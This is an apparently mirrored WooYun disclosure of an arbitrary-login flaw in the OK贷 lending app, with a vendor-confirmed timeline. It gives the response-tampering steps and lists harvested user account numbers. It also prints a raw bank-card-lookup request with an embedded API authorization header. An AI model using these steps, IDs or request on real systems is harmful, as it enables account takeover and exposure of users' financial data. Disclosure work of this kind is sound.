P2P金融安全之OK贷APP任意用户登陆

admin 2017年4月5日22:53:44评论395 views字数 204阅读0分40秒阅读模式
摘要

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-04-08: 细节向核心白帽子及相关领域专家公开
2016-04-18: 细节向普通白帽子公开
2016-04-28: 细节向实习白帽子公开
2016-05-13: 细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2016-189851

漏洞标题: P2P金融安全之OK贷APP任意用户登陆

相关厂商: OK贷网

漏洞作者: Zhe

提交时间: 2016-03-28 11:49

公开时间: 2016-05-13 11:40

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-04-08: 细节向核心白帽子及相关领域专家公开
2016-04-18: 细节向普通白帽子公开
2016-04-28: 细节向实习白帽子公开
2016-05-13: 细节向公众公开

简要描述:

详细说明:

http://android.myapp.com/myapp/detail.htm?apkName=com.okdai

测试版本2.6.4

漏洞原因,APP鉴权依靠用户的AccountNo,多接口存在越权问题

用自己的账号登陆

P2P金融安全之OK贷APP任意用户登陆

登陆时,抓包,修改返回体内容中的AccountNo,这边改为:ACCT10000015353

P2P金融安全之OK贷APP任意用户登陆

ps:有时候需要改两次,才能进行跳转

例如

P2P金融安全之OK贷APP任意用户登陆

这样就能进入

ACCT10000015353 的账号了。可查看用户账户各项金额

P2P金融安全之OK贷APP任意用户登陆

可查询用户投资记录

P2P金融安全之OK贷APP任意用户登陆

获取用户的银行卡相关信息

P2P金融安全之OK贷APP任意用户登陆

发布奶酪

P2P金融安全之OK贷APP任意用户登陆

有一点需要说明,连续错误三次支付密码,账号将被冻结,影响用户使用

P2P金融安全之OK贷APP任意用户登陆

还能到K粉圈里溜达。

P2P金融安全之OK贷APP任意用户登陆

进行留言,查看消息等操作

P2P金融安全之OK贷APP任意用户登陆

P2P金融安全之OK贷APP任意用户登陆

K粉圈里抓包可以看到用户的AccountNo,看上哪个登哪个。

以上,接口均可通过burpsuite暴力获取信息。

在K粉圈里收集几条AccountNo,爆给你们看

code 区域
ACCT10000068930
ACCT10000086464
ACCT10000027007
ACCT10000037902
ACCT10000065312
ACCT10000022941
ACCT10000019021
HUANGLI

以获取银行卡信息为例

code 区域
POST http://app.okdai.com/api/Account/BankList HTTP/1.1
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Host: app.okdai.com
Connection: Keep-Alive
Authorization: Basic TW9iaWxlQXBpS2V5OmxzQXBLV0tWYjN2U0ZSNFZvNlFBZFJJcmF3PT0=
Accept-Encoding: gzip

AccountNo=ACCT10000015353&UserPhone=13333333333

P2P金融安全之OK贷APP任意用户登陆

漏洞证明:

修复方案:

权限控制,加会话

版权声明:转载请注明来源 Zhe@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-29 11:39

厂商回复:

问题已确认,谢谢白帽子的提醒,正在积极解决中。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin